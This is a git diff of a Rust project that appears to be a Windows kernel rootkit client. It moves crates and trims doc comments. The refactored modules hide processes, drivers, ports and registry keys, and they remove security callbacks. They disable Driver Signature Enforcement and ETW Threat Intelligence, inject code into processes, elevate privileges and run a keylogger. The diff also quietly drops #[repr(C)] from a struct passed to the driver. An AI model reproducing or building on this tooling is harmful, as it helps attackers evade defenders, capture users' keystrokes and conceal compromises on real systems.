diff --git a/Cargo.toml b/Cargo.toml index c88630d..4d4472f 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -1,6 +1,6 @@ [workspace] -members = ["shadowx"] -exclude = ["driver", "client", "common"] +members = ["crates/shadow-core"] +exclude = ["driver", "client", "crates/common"] resolver = "2" [profile.dev] diff --git a/client/Cargo.toml b/client/Cargo.toml index b5c4ef1..2dcbc9d 100644 --- a/client/Cargo.toml +++ b/client/Cargo.toml @@ -8,7 +8,7 @@ log = "0.4.22" colored = "2.1.0" chrono = "0.4.38" sysinfo = "0.31.4" -common = { path = "../common" } +common = { path = "../crates/common" } env_logger = { version = "0.11.5" } clap = { version = "4.5.6", features = ["derive"] } @@ -19,7 +19,8 @@ features = [ "Win32_Security", "Win32_Storage_FileSystem", "Win32_System_Diagnostics_Debug", - "Win32_System_IO", "Win32_System_Memory", + "Win32_System_IO", + "Win32_System_Memory", "Win32_System_Threading" ] diff --git a/client/src/modules/callback.rs b/client/src/modules/callback.rs index 8a8e054..33d5049 100644 --- a/client/src/modules/callback.rs +++ b/client/src/modules/callback.rs @@ -12,11 +12,7 @@ use crate::{utils::open_driver, utils::Callbacks}; pub struct Callback(HANDLE); impl Callback { - /// Creates a new `Callback` instance, opening a handle to the driver. - /// - /// # Returns - /// - /// * An instance of `Callback`. + /// Creates a new `Callback`. /// /// # Panics /// @@ -27,11 +23,6 @@ impl Callback { } /// Enumerates all callbacks associated with a specified callback type. - /// - /// # Arguments - /// - /// * `ioctl_code` - The IOCTL code for the enumeration operation. - /// * `callback` - Reference to the `Callbacks` struct, defining the type of callback to enumerate. pub fn enumerate_callback(self, ioctl_code: u32, callback: &Callbacks) { debug!("Attempting to open the driver for callback enumeration"); debug!("Allocating memory for callback information"); @@ -95,12 +86,6 @@ impl Callback { } /// Removes a callback at the specified index. - /// - /// # Arguments - /// - /// * `index` - The index of the callback to remove. - /// * `ioctl_code` - The IOCTL code for the remove operation. - /// * `callback` - Reference to the `Callbacks` struct, defining the type of callback. pub fn remove_callback(self, index: usize, ioctl_code: u32, callback: &Callbacks) { debug!("Attempting to open the driver to remove callback at index: {index}"); debug!("Preparing structure to remove callback at index: {}", index); @@ -132,12 +117,6 @@ impl Callback { } /// Restores a callback at the specified index. - /// - /// # Arguments - /// - /// * `index` - The index of the callback to restore. - /// * `ioctl_code` - The IOCTL code for the restore operation. - /// * `callback` - Reference to the `Callbacks` struct, defining the type of callback. pub fn restore_callback(self, index: usize, ioctl_code: u32, callback: &Callbacks) { debug!("Attempting to open the driver to restore callback at index: {index}"); @@ -171,7 +150,6 @@ impl Callback { } impl Drop for Callback { - /// Ensures the driver handle is closed when `Callback` goes out of scope. fn drop(&mut self) { debug!("Closing the driver handle"); unsafe { CloseHandle(self.0) }; diff --git a/client/src/modules/driver.rs b/client/src/modules/driver.rs index 78d0a15..f67305d 100644 --- a/client/src/modules/driver.rs +++ b/client/src/modules/driver.rs @@ -12,27 +12,13 @@ use crate::utils::open_driver; pub struct Driver(HANDLE); impl Driver { - /// Creates a new `Driver` instance, opening a handle to the driver. - /// - /// # Returns - /// - /// * An instance of `Driver`. - /// - /// # Panics - /// - /// Panics if the driver cannot be opened. + /// Creates a new `Driver`. pub fn new() -> Self { let h_driver = open_driver().expect("Error"); Self(h_driver) } /// Hides or unhides a driver based on its name. - /// - /// # Arguments - /// - /// * `ioctl_code` - The IOCTL code for the hide/unhide operation. - /// * `name` - The name of the driver to hide or unhide. - /// * `enable` - `true` to hide or `false` to unhide the driver. pub fn unhide_hide_driver(self, ioctl_code: u32, name: &String, enable: bool) { debug!("Attempting to open the driver for {} operation", if enable { "hide" } else { "unhide" }); debug!("Preparing structure for: {}", name); @@ -65,12 +51,6 @@ impl Driver { } /// Blocks or unblocks a driver by sending an `IOCTL` request. - /// - /// # Arguments - /// - /// - `ioctl_code` - The `IOCTL` control code for the operation. - /// - `name` - The name of the driver to block or unblock. - /// - `enable` - `true` to block the driver, `false` to unblock. pub fn block_driver(self, ioctl_code: u32, name: &String, enable: bool) { debug!("Preparing structure for: {}", name); let mut info_driver = TargetDriver { @@ -102,10 +82,6 @@ impl Driver { } /// Enumerates all drivers, retrieving information about each one. - /// - /// # Arguments - /// - /// * `ioctl_code` - The IOCTL code for the enumeration operation. pub fn enumerate_driver(self, ioctl_code: u32) { debug!("Attempting to open the driver for enumeration"); debug!("Allocating memory for driver info"); @@ -154,7 +130,6 @@ impl Driver { } impl Drop for Driver { - /// Ensures the driver handle is closed when `Driver` goes out of scope. fn drop(&mut self) { debug!("Closing the driver handle"); unsafe { CloseHandle(self.0) }; diff --git a/client/src/modules/injection.rs b/client/src/modules/injection.rs index e656e0b..8791f5e 100644 --- a/client/src/modules/injection.rs +++ b/client/src/modules/injection.rs @@ -12,27 +12,13 @@ use crate::{utils::check_file, utils::open_driver}; pub struct Injection(HANDLE); impl Injection { - /// Creates a new [`Injection`] instance, opening a handle to the driver. - /// - /// # Returns - /// - /// * An instance of [`Injection`]. - /// - /// # Panics - /// - /// Panics if the driver cannot be opened. + /// Creates a new `Injection` pub fn new() -> Self { let h_driver = open_driver().expect("Error"); Self(h_driver) } /// Injects code into a process's thread specified by `pid` using a file at `path`. - /// - /// # Arguments - /// - /// * `ioctl_code` - The IOCTL code for the thread injection operation. - /// * `pid` - A reference to the PID of the target process. - /// * `path` - The file path of the code to inject. pub fn injection(self, ioctl_code: u32, pid: &u32, path: &String) { info!("Starting process injection for PID: {pid}, using file: {path}"); info!("Checking if the file exists at the specified path"); @@ -72,7 +58,6 @@ impl Injection { } impl Drop for Injection { - /// Ensures the driver handle is closed when `Injection` goes out of scope. fn drop(&mut self) { debug!("Closing the driver handle"); unsafe { CloseHandle(self.0) }; diff --git a/client/src/modules/misc.rs b/client/src/modules/misc.rs index 7f40a94..d211592 100644 --- a/client/src/modules/misc.rs +++ b/client/src/modules/misc.rs @@ -37,26 +37,13 @@ pub static mut KEY_RECENT: [u8; 64] = [0; 64]; pub struct Misc(HANDLE); impl Misc { - /// Creates a new `Misc` instance, opening a handle to the driver. - /// - /// # Returns - /// - /// * An instance of `Misc`. - /// - /// # Panics - /// - /// Panics if the driver cannot be opened. + /// Creates a new `Misc`. pub fn new() -> Self { let h_driver = open_driver().expect("Error"); Self(h_driver) } /// Enables or disables Driver Signature Enforcement (DSE). - /// - /// # Arguments - /// - /// * `ioctl_code` - The IOCTL code for the DSE operation. - /// * `enable` - `true` to enable DSE or `false` to disable it. pub fn dse(self, ioctl_code: u32, enable: bool) { debug!("Preparing DSE structure for {}", if enable { "enabling" } else { "disabling" }); let mut info_dse = DSE { enable }; @@ -84,11 +71,6 @@ impl Misc { } /// Activates a keylogger that records keystrokes to a specified file. - /// - /// # Arguments - /// - /// * `ioctl_code` - The IOCTL code for initializing keylogging. - /// * `file` - The path to the file where keystrokes will be recorded. pub fn keylogger(self, ioctl_code: u32, file: &String) { unsafe { let mut address = 0usize; @@ -155,11 +137,6 @@ impl Misc { } /// Enables or disables Event Tracing for Windows Threat Intelligence (ETWTI). - /// - /// # Arguments - /// - /// * `ioctl_code` - The IOCTL code for the ETWTI operation. - /// * `enable` - `true` to enable ETWTI or `false` to disable it. pub fn etwti(self, ioctl_code: u32, enable: bool) { debug!("Preparing ETWTI structure for {}", if enable { "enabling" } else { "disabling" }); let mut etwti = ETWTI { enable }; @@ -188,7 +165,6 @@ impl Misc { } impl Drop for Misc { - /// Ensures the driver handle is closed when `Misc` goes out of scope. fn drop(&mut self) { debug!("Closing the driver handle"); unsafe { CloseHandle(self.0) }; diff --git a/client/src/modules/module.rs b/client/src/modules/module.rs index e0f7836..b7feb02 100644 --- a/client/src/modules/module.rs +++ b/client/src/modules/module.rs @@ -16,26 +16,13 @@ use common::structs::{ pub struct Module(HANDLE); impl Module { - /// Creates a new `Module` instance, opening a handle to the driver. - /// - /// # Returns - /// - /// * An instance of `Module`. - /// - /// # Panics - /// - /// Panics if the driver cannot be opened. + /// Creates a new `Module`. pub fn new() -> Self { let h_driver = open_driver().expect("Error"); Self(h_driver) } /// Enumerates all modules within a specified process by `pid`. - /// - /// # Arguments - /// - /// * `ioctl_code` - The IOCTL code for the enumeration operation. - /// * `pid` - A reference to the PID of the process whose modules will be enumerated. pub fn enumerate_module(self, ioctl_code: u32, pid: &u32) { info!("Attempting to enumerate modules for PID: {pid}"); @@ -88,12 +75,6 @@ impl Module { } /// Hides a specific module within a process specified by `pid`. - /// - /// # Arguments - /// - /// * `ioctl_code` - The IOCTL code for the hide operation. - /// * `name` - A reference to the module name to hide. - /// * `pid` - The PID of the process containing the module to hide. pub fn hide_module(self, ioctl_code: u32, name: &String, pid: u32) { debug!("Attempting to open the module for hide operation"); @@ -127,7 +108,6 @@ impl Module { } impl Drop for Module { - /// Ensures the driver handle is closed when `Module` goes out of scope. fn drop(&mut self) { debug!("Closing the driver handle"); unsafe { CloseHandle(self.0) }; diff --git a/client/src/modules/network.rs b/client/src/modules/network.rs index e6dc565..9ba7d53 100644 --- a/client/src/modules/network.rs +++ b/client/src/modules/network.rs @@ -16,29 +16,13 @@ use crate::utils::{ pub struct Network(HANDLE); impl Network { - /// Creates a new `Port` instance, opening a handle to the driver. - /// - /// # Returns - /// - /// * An instance of `Port`. - /// - /// # Panics - /// - /// Panics if the driver cannot be opened. + /// Creates a new `Port`. pub fn new() -> Self { let h_driver = open_driver().expect("Error"); Self(h_driver) } /// Hides or unhides a specific network port. - /// - /// # Arguments - /// - /// * `ioctl_code` - The IOCTL code for the hide/unhide operation. - /// * `protocol` - The protocol type (e.g., TCP, UDP) for the port. - /// * `port_type` - The type of port (e.g., LOCAL, REMOTE). - /// * `port_number` - The number of the port to hide or unhide. - /// * `enable` - `true` to hide the port or `false` to unhide it. pub fn hide_unhide_port( self, ioctl_code: u32, @@ -77,7 +61,6 @@ impl Network { } impl Drop for Network { - /// Ensures the driver handle is closed when `Port` goes out of scope. fn drop(&mut self) { debug!("Closing the driver handle"); unsafe { CloseHandle(self.0) }; diff --git a/client/src/modules/process.rs b/client/src/modules/process.rs index 18030a7..1570047 100644 --- a/client/src/modules/process.rs +++ b/client/src/modules/process.rs @@ -15,27 +15,13 @@ use crate::{ pub struct Process(HANDLE); impl Process { - /// Creates a new `Process` instance, opening a handle to the driver. - /// - /// # Returns - /// - /// * An instance of `Process`. - /// - /// # Panics - /// - /// Panics if the driver cannot be opened. + /// Creates a new `Process`. pub fn new() -> Self { let h_driver = open_driver().expect("Error"); Self(h_driver) } /// Hides or unhides a Process specified by `pid`. - /// - /// # Arguments - /// - /// * `pid` - An optional reference to the PID (Process ID) of the Process to hide/unhide. - /// * `ioctl_code` - The IOCTL code for the hide/unhide operation. - /// * `enable` - A boolean indicating whether to hide (`true`) or unhide (`false`) the Process. pub fn hide_unhide_process(&mut self, pid: Option<&u32>, ioctl_code: u32, enable: bool) { if let Some(pid_value) = pid { info!("Preparing to {} process: {}", if enable { "hide" } else { "unhide" }, pid_value); @@ -71,11 +57,6 @@ impl Process { } /// Terminates a specified process by `pid`. - /// - /// # Arguments - /// - /// * `pid` - An optional reference to the PID of the process to terminate. - /// * `ioctl_code` - The IOCTL code for the terminate operation. pub fn terminate_process(&mut self, pid: Option<&u32>, ioctl_code: u32) { if let Some(pid_value) = pid { info!("Preparing to terminate process: {}", pid_value); @@ -110,12 +91,6 @@ impl Process { } /// Enables or disables protection for a process specified by `pid`. - /// - /// # Arguments - /// - /// * `pid` - An optional reference to the PID of the process. - /// * `ioctl_code` - The IOCTL code for the protection operation. - /// * `enable` - `true` to enable or `false` to disable protection. #[cfg(not(feature = "mapper"))] pub fn protection_process(&mut self, pid: Option<&u32>, ioctl_code: u32, enable: bool) { if let Some(pid_value) = pid { @@ -154,11 +129,6 @@ impl Process { } /// Enumerates all processes and retrieves information about them. - /// - /// # Arguments - /// - /// * `ioctl_code` - The IOCTL code for the enumeration operation. - /// * `option` - Reference to `Options` struct specifying options for the enumeration. pub fn enumerate_process(&mut self, ioctl_code: u32, option: &Options) { let mut info_process: [TargetProcess; 100] = unsafe { std::mem::zeroed() }; let mut enumeration_input = TargetProcess { @@ -195,13 +165,6 @@ impl Process { } /// Applies signature protection to a process specified by `pid`. - /// - /// # Arguments - /// - /// * `pid` - An optional reference to the PID of the process. - /// * `ioctl_code` - The IOCTL code for the protection operation. - /// * `sg` - The signature level. - /// * `tp` - The protection type. pub fn signature_process( &mut self, pid: Option<&u32>, @@ -244,11 +207,6 @@ impl Process { } /// Elevates the privileges of a specified process to System level. - /// - /// # Arguments - /// - /// * `pid` - An optional reference to the PID of the process to elevate. - /// * `ioctl_code` - The IOCTL code for the elevation operation. pub fn elevate_process(&mut self, pid: Option<&u32>, ioctl_code: u32) { if let Some(pid_value) = pid { info!("Preparing to elevate process: {}", pid_value); @@ -284,7 +242,6 @@ impl Process { } impl Drop for Process { - /// Ensures the driver handle is closed when `Thread` goes out of scope. fn drop(&mut self) { debug!("Closing the driver handle"); unsafe { CloseHandle(self.0) }; diff --git a/client/src/modules/registry.rs b/client/src/modules/registry.rs index ad15d29..a8b210f 100644 --- a/client/src/modules/registry.rs +++ b/client/src/modules/registry.rs @@ -12,28 +12,13 @@ use common::structs::TargetRegistry; pub struct Registry(HANDLE); impl Registry { - /// Creates a new `Registry` instance, opening a handle to the driver. - /// - /// # Returns - /// - /// * An instance of `Registry`. - /// - /// # Panics - /// - /// Panics if the driver cannot be opened. + /// Creates a new `Registry`. pub fn new() -> Self { let h_driver = open_driver().expect("Error"); Self(h_driver) } /// Enables or disables protection for a specified registry key and value. - /// - /// # Arguments - /// - /// * `ioctl_code` - The IOCTL code for the protection operation. - /// * `value` - A reference to the registry value name to protect. - /// * `key` - A reference to the registry key name to protect. - /// * `enable` - `true` to enable protection or `false` to disable it. pub fn registry_protection(self, ioctl_code: u32, value: &String, key: &String, enable: bool) { info!("Attempting to open the registry for protection operation"); debug!("Preparing structure for Key: {key} | Value: {value} | Protection: {}", if enable { "hide" } else { "unhide" }); @@ -66,13 +51,6 @@ impl Registry { } /// Hides or unhides a specified registry key and value. - /// - /// # Arguments - /// - /// * `ioctl_code` - The IOCTL code for the hide/unhide operation. - /// * `value` - A reference to the registry value name to hide/unhide. - /// * `key` - A reference to the registry key name to hide/unhide. - /// * `enable` - `true` to hide or `false` to unhide. pub fn registry_hide_unhide(self, ioctl_code: u32, value: &String, key: &String, enable: bool) { info!("Attempting to open the registry for hide/unhide operation"); @@ -108,7 +86,6 @@ impl Registry { } impl Drop for Registry { - /// Ensures the driver handle is closed when `Registry` goes out of scope. fn drop(&mut self) { debug!("Closing the driver handle"); unsafe { CloseHandle(self.0) }; diff --git a/client/src/modules/thread.rs b/client/src/modules/thread.rs index 74dc404..2debf62 100644 --- a/client/src/modules/thread.rs +++ b/client/src/modules/thread.rs @@ -12,27 +12,13 @@ use crate::utils::{open_driver, Options}; pub struct Thread(HANDLE); impl Thread { - /// Creates a new `Thread` instance, opening a handle to the driver. - /// - /// # Returns - /// - /// * An instance of `Thread`. - /// - /// # Panics - /// - /// Panics if the driver cannot be opened. + /// Creates a new `Thread`. pub fn new() -> Self { let h_driver = open_driver().expect("Error"); Self(h_driver) } /// Hides or unhides a thread specified by `tid`. - /// - /// # Arguments - /// - /// * `tid` - An optional reference to the TID (Thread ID) of the thread to hide/unhide. - /// * `ioctl_code` - The IOCTL code for the hide/unhide operation. - /// * `enable` - A boolean indicating whether to hide (`true`) or unhide (`false`) the thread. pub fn hide_unhide_thread(self, tid: Option<&u32>, ioctl_code: u32, enable: bool) { debug!("Attempting to open the driver for hide/unhide operation"); if let Some(tid_value) = tid { @@ -70,12 +56,6 @@ impl Thread { } /// Protects or unprotects a thread specified by `tid` (Anti-kill and dumping protection). - /// - /// # Arguments - /// - /// * `tid` - An optional reference to the TID (Thread ID) of the thread to protect/unprotect. - /// * `ioctl_code` - The IOCTL code for the protection operation. - /// * `enable` - A boolean indicating whether to enable (`true`) or disable (`false`) protection. #[cfg(not(feature = "mapper"))] pub fn protection_thread(self, tid: Option<&u32>, ioctl_code: u32, enable: bool) { debug!("Attempting to open the driver for thread protection operation"); @@ -114,11 +94,6 @@ impl Thread { } /// Enumerates all threads and retrieves information about them. - /// - /// # Arguments - /// - /// * `ioctl_code` - The IOCTL code for the enumeration operation. - /// * `option` - Reference to `Options` struct specifying options for the enumeration. pub fn enumerate_thread(self, ioctl_code: u32, option: &Options) { debug!("Attempting to open the driver for thread enumeration"); let mut info_thread: [TargetThread; 100] = unsafe { std::mem::zeroed() }; @@ -157,7 +132,6 @@ impl Thread { } impl Drop for Thread { - /// Ensures the driver handle is closed when `Thread` goes out of scope. fn drop(&mut self) { debug!("Closing the driver handle"); unsafe { CloseHandle(self.0) }; diff --git a/client/src/utils/keylogger.rs b/client/src/utils/keylogger.rs index ec9250c..2c5c042 100644 --- a/client/src/utils/keylogger.rs +++ b/client/src/utils/keylogger.rs @@ -28,7 +28,7 @@ pub fn update_key_state() { /// /// # Returns /// -/// * `bool` - if the key was pressed, otherwise `false`. +/// If the key was pressed, otherwise `false`. pub fn key_pressed(key: u8) -> bool { unsafe { let result = is_key_down!(KEY_RECENT, key); @@ -45,7 +45,7 @@ pub fn key_pressed(key: u8) -> bool { /// /// # Returns /// -/// * A string representing the character corresponding to the code of the virtual key. +/// A string representing the character corresponding to the code of the virtual key. pub fn vk_to_char(key: u8) -> &'static str { for &(vk, char) in &VK_CHARS { if vk == key { diff --git a/client/src/utils/mod.rs b/client/src/utils/mod.rs index 816c502..2e03d35 100644 --- a/client/src/utils/mod.rs +++ b/client/src/utils/mod.rs @@ -39,7 +39,7 @@ pub const BANNER: &str = r#" /// /// # Returns /// -/// * `true` if the file exists, `false` otherwise. +/// If the file exists. pub fn check_file(file: &String) -> bool { let file = Path::new(file); file.exists() @@ -49,8 +49,7 @@ pub fn check_file(file: &String) -> bool { /// /// # Returns /// -/// * `Ok(HANDLE)` - if the driver handle is successfully opened. -/// * `Err(())` - if there is an error. +/// If the driver handle is successfully opened. pub fn open_driver() -> Result { log::info!("Opening driver handle"); @@ -79,7 +78,7 @@ pub fn open_driver() -> Result { /// /// # Arguments /// -/// * `verbose` - A `u8` representing the verbosity level. +/// The verbosity level. pub fn init_logger(verbose: u8) { let mut builder = Builder::new(); let log_level = match verbose { @@ -112,8 +111,7 @@ pub fn init_logger(verbose: u8) { /// /// # Returns /// -/// * `Ok(String)` - if the file has a `.sys` extension. -/// * `Err(String)` - if the file does not have a `.sys` extension. +/// If the file has a `.sys` extension. pub fn validate_sys_extension(val: &str) -> Result { if val.ends_with(".sys") { Ok(val.to_string()) @@ -130,8 +128,7 @@ pub fn validate_sys_extension(val: &str) -> Result { /// /// # Returns /// -/// * `Some(u32)` - Returns the PID of the process found. -/// * `None` - if no process with the specified name is found. +/// The PID of the process found. pub fn get_process_by_name(name: &str) -> Option { let mut system = System::new_all(); system.refresh_all(); @@ -172,7 +169,7 @@ impl Callbacks { /// /// # Returns /// - /// * A `common::enums::Callbacks` variant corresponding to the selected callback. + /// Variant corresponding to the selected callback. pub fn to_shared(self) -> common::enums::Callbacks { match self { Callbacks::Process => common::enums::Callbacks::PsSetCreateProcessNotifyRoutine, @@ -190,6 +187,7 @@ impl Callbacks { pub enum Options { /// Option to hide targets. Hide, + /// Option to protect targets (disabled if the `mapper` feature is enabled). #[cfg(not(feature = "mapper"))] Protection, @@ -200,7 +198,7 @@ impl Options { /// /// # Returns /// - /// * A `common::enums::Options` variant corresponding to the selected option. + /// Variant corresponding to the selected option. pub fn to_shared(self) -> common::enums::Options { match self { Options::Hide => common::enums::Options::Hide, @@ -225,7 +223,7 @@ impl Protocol { /// /// # Returns /// - /// * A `common::enums::Protocol` variant corresponding to the selected protocol. + /// Variant corresponding to the selected protocol. pub fn to_shared(self) -> common::enums::Protocol { match self { Protocol::TCP => common::enums::Protocol::TCP, @@ -249,7 +247,7 @@ impl PortType { /// /// # Returns /// - /// * A `common::enums::PortType` variant corresponding to the selected port type. + /// Variant corresponding to the selected port type. pub fn to_shared(self) -> common::enums::PortType { match self { PortType::LOCAL => common::enums::PortType::LOCAL, diff --git a/common/Cargo.toml b/crates/common/Cargo.toml similarity index 95% rename from common/Cargo.toml rename to crates/common/Cargo.toml index 81c6ca2..dc82039 100644 --- a/common/Cargo.toml +++ b/crates/common/Cargo.toml @@ -1,7 +1,7 @@ -[package] -name = "common" -version = "0.1.0" -edition = "2021" - -[dependencies] +[package] +name = "common" +version = "0.1.0" +edition = "2021" + +[dependencies] ntapi = { version = "0.4.1", default-features = false } \ No newline at end of file diff --git a/common/src/enums.rs b/crates/common/src/enums.rs similarity index 69% rename from common/src/enums.rs rename to crates/common/src/enums.rs index 7ef0cc9..8aa9040 100644 --- a/common/src/enums.rs +++ b/crates/common/src/enums.rs @@ -1,65 +1,53 @@ -/// Represents different types of callbacks available in the system. -/// -/// These callbacks are used to monitor or intercept specific events in the system, -/// such as process creation, thread creation, image loading, and more. -#[derive(Debug, Copy, Clone, PartialEq, Default)] -pub enum Callbacks { - #[default] - /// The default callback type for process creation events. - PsSetCreateProcessNotifyRoutine, - - /// Callback for thread creation events. - PsSetCreateThreadNotifyRoutine, - - /// Callback for image loading events. - PsSetLoadImageNotifyRoutine, - - /// Callback for registry operations (using `CmRegisterCallbackEx`). - CmRegisterCallbackEx, - - /// Callback related to process object operations (using `ObRegisterCallbacks`). - ObProcess, - - /// Callback related to thread object operations (using `ObRegisterCallbacks`). - ObThread, -} - -/// Defines different operational modes or options for controlling behavior. -/// -/// These options represent different modes or actions that can be applied to a process -/// or thread, such as hiding it or enabling protection mechanisms. -#[derive(Debug, Default)] -pub enum Options { - /// Option to hide the process or thread. - #[default] - Hide, - - /// Option to apply protection to the process or thread. - Protection, -} - -/// Represents the type of protocol used in network communication (TCP/UDP). -/// -/// This enum is used to distinguish between the two most common transport layer protocols: -/// Transmission Control Protocol (TCP) and User Datagram Protocol (UDP). -#[derive(Debug, Clone, Copy, PartialEq, Eq)] -pub enum Protocol { - /// Transmission Control Protocol (TCP), which is connection-oriented and reliable. - TCP, - - /// User Datagram Protocol (UDP), which is connectionless and less reliable. - UDP, -} - -/// Represents whether the port is local or remote in the context of network communication. -/// -/// This enum is used to categorize a port based on its locality, either representing a -/// local port or a remote port, often used for networking applications. -#[derive(Debug, Clone, Copy, PartialEq, Eq)] -pub enum PortType { - /// Represents a local port on the current machine. - LOCAL, - - /// Represents a remote port on a different machine. - REMOTE, -} +/// Represents different types of callbacks available in the system. +#[derive(Debug, Copy, Clone, PartialEq, Default)] +pub enum Callbacks { + #[default] + /// The default callback type for process creation events. + PsSetCreateProcessNotifyRoutine, + + /// Callback for thread creation events. + PsSetCreateThreadNotifyRoutine, + + /// Callback for image loading events. + PsSetLoadImageNotifyRoutine, + + /// Callback for registry operations (using `CmRegisterCallbackEx`). + CmRegisterCallbackEx, + + /// Callback related to process object operations (using `ObRegisterCallbacks`). + ObProcess, + + /// Callback related to thread object operations (using `ObRegisterCallbacks`). + ObThread, +} + +/// Defines different operational modes or options for controlling behavior. +#[derive(Debug, Default)] +pub enum Options { + /// Option to hide the process or thread. + #[default] + Hide, + + /// Option to apply protection to the process or thread. + Protection, +} + +/// Represents the type of protocol used in network communication (TCP/UDP). +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum Protocol { + /// Transmission Control Protocol (TCP), which is connection-oriented and reliable. + TCP, + + /// User Datagram Protocol (UDP), which is connectionless and less reliable. + UDP, +} + +/// Represents whether the port is local or remote in the context of network communication. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum PortType { + /// Represents a local port on the current machine. + LOCAL, + + /// Represents a remote port on a different machine. + REMOTE, +} diff --git a/common/src/ioctls.rs b/crates/common/src/ioctls.rs similarity index 100% rename from common/src/ioctls.rs rename to crates/common/src/ioctls.rs diff --git a/common/src/lib.rs b/crates/common/src/lib.rs similarity index 100% rename from common/src/lib.rs rename to crates/common/src/lib.rs diff --git a/common/src/structs.rs b/crates/common/src/structs.rs similarity index 53% rename from common/src/structs.rs rename to crates/common/src/structs.rs index 3fd527c..55abfd2 100644 --- a/common/src/structs.rs +++ b/crates/common/src/structs.rs @@ -6,10 +6,6 @@ use core::sync::atomic::AtomicPtr; use ntapi::ntldr::LDR_DATA_TABLE_ENTRY; /// Custom implementation of the `LIST_ENTRY` structure. -/// -/// This struct represents a doubly linked list entry, commonly used in low-level -/// systems programming, especially in Windows kernel structures. It contains -/// forward (`Flink`) and backward (`Blink`) pointers to other entries in the list. #[repr(C)] #[derive(Debug, Clone, Copy)] pub struct LIST_ENTRY { @@ -20,21 +16,15 @@ pub struct LIST_ENTRY { pub Blink: *mut LIST_ENTRY, } -/// Represents the state of ETWTI (Event Tracing for Windows Thread Information). -/// -/// This struct manages whether ETWTI is enabled or disabled for capturing thread -/// information. The `enable` field controls the activation of this feature. +/// Represents the state of ETWTI. #[repr(C)] #[derive(Debug)] pub struct ETWTI { - /// A boolean value indicating if ETWTI is enabled (`true`) or disabled (`false`). + /// If ETWTI is enabled or disabled. pub enable: bool, } /// Input structure for enumeration of information. -/// -/// This struct is used as input for listing various entities, based on the -/// options provided. #[repr(C)] #[derive(Debug)] pub struct EnumerateInfoInput { @@ -43,9 +33,6 @@ pub struct EnumerateInfoInput { } /// Represents the target process and path for a DLL or code injection. -/// -/// This struct contains the necessary information to perform a code or DLL injection -/// into a target process. #[repr(C)] #[derive(Debug)] pub struct TargetInjection { @@ -57,9 +44,6 @@ pub struct TargetInjection { } /// Represents information about a network or communication port. -/// -/// This struct holds information about a specific port, including the protocol used, -/// the type of port, its number, and whether the port is enabled or disabled. #[repr(C)] #[derive(Debug, Clone, Copy, PartialEq)] pub struct TargetPort { @@ -77,11 +61,6 @@ pub struct TargetPort { } /// Represents the target registry key and value for operations. -/// -/// This struct holds information about a specific registry key and its associated value -/// for operations such as modifying or querying the registry. It includes the registry key, -/// the value associated with that key, and a flag indicating whether the operation should be -/// enabled or not. #[repr(C)] #[derive(Debug, Default)] pub struct TargetRegistry { @@ -99,98 +78,78 @@ pub struct TargetRegistry { } /// Represents the target thread for operations like manipulation or monitoring. -/// -/// This struct contains the thread identifier (TID) and a boolean flag indicating whether -/// the thread is enabled or disabled (hidden or active). #[repr(C)] #[derive(Debug, Default)] pub struct TargetThread { - /// The thread identifier (TID) of the target thread. + /// The thread identifier (TID). pub tid: usize, - /// A boolean value indicating whether the thread is enabled (`true`) or disabled/hidden (`false`). + /// A boolean value indicating whether the thread is hidden or unhidden. pub enable: bool, - /// A pointer to the `LIST_ENTRY` structure, which represents the thread in the system's - /// linked list of threads. + /// A pointer to the `LIST_ENTRY` structure.s pub list_entry: AtomicPtr, - /// The options to control how the enumeration should behave, typically set by the user. + /// The options to control how the enumeration should behave. pub options: Options, } /// Stores information about a target process for operations such as termination or manipulation. -/// -/// This struct contains the process identifier (PID) of the target process. It is commonly used -/// when the PID is the only information required for an operation on a process. #[repr(C)] #[derive(Debug, Default)] pub struct TargetProcess { - /// The process identifier (PID) of the target process. + /// The process identifier (PID). pub pid: usize, - /// A boolean value indicating whether the process is hidden (`true`) or visible (`false`). + /// A boolean value indicating whether the process is hidden or visible. pub enable: bool, - /// The signer of the process, typically indicating the authority or certificate that signed it. + /// The signer of the process. pub sg: usize, - /// The type of protection applied to the process, represented as an integer. + /// The type of protection applied to the process. pub tp: usize, - /// A pointer to the `LIST_ENTRY` structure, which is used to represent the process - /// in the system's linked list of processes. + /// A pointer to the `LIST_ENTRY` structure. pub list_entry: AtomicPtr, - /// The options to control how the enumeration should behave, typically set by the user. + /// The options to control how the enumeration should behave. pub options: Options, } /// Represents information about a module in the system. -/// -/// This struct is used for enumerating modules loaded in the system. It includes -/// the module's memory address, its name, and an index that can be used for -/// identification or sorting purposes. #[repr(C)] #[derive(Debug)] pub struct ModuleInfo { /// The memory address where the module is loaded. pub address: usize, - /// The name of the module, stored as a UTF-16 encoded string with a fixed length of 256. - /// This allows compatibility with systems like Windows that use UTF-16 encoding. + /// The name of the module. pub name: [u16; 256], - /// The index of the module in the enumeration, useful for tracking or identifying the module. + /// The index of the module in the enumeration. pub index: u8, } /// Represents the target module within a specific process for operations like enumeration or manipulation. -/// -/// This struct contains information about the target process and the specific module within that process. -/// It includes the process identifier (PID) and the name of the module being targeted. #[repr(C)] #[derive(Debug)] pub struct TargetModule { - /// The process identifier (PID) of the process in which the target module is loaded. + /// The process identifier (PID). pub pid: usize, - /// The name of the target module, stored as a dynamically allocated string. + /// The name of the target module. pub module_name: alloc::string::String, } -/// Callback Information for Enumeration (Output) -/// -/// This struct represents the information about a callback that is used in an enumeration process. -/// It includes details like the callback's memory address, name, and operations associated with it. +/// Callback Information for Enumeration. #[repr(C)] #[derive(Debug, Copy, Clone)] pub struct CallbackInfoOutput { /// The memory address where the callback is located. pub address: usize, - /// The name of the callback, represented as a UTF-16 array of fixed length (256). - /// This is useful for systems (like Windows) that use UTF-16 strings. + /// The name of the callback pub name: [u16; 256], /// The index of the callback in the enumeration. @@ -215,11 +174,7 @@ impl Default for CallbackInfoOutput { } } -/// Callback Information for Action (Input) -/// -/// This struct is used to represent input data when performing an action on a callback. -/// It includes the callback's index and the specific callback action to be taken. -#[repr(C)] +/// Callback Information for Action #[derive(Debug, Copy, Clone)] pub struct CallbackInfoInput { /// The index of the callback that will be targeted by the action. @@ -230,48 +185,39 @@ pub struct CallbackInfoInput { } /// Enumerates driver information for system drivers. -/// -/// This struct holds basic information about a driver, including its address, name, and an index -/// for identification. #[repr(C)] pub struct DriverInfo { /// The memory address where the driver is loaded. pub address: usize, - /// The name of the driver, stored as a UTF-16 encoded string with a fixed length of 256. + /// The name of the driver. pub name: [u16; 256], /// The index of the driver in the enumeration. pub index: u8, } 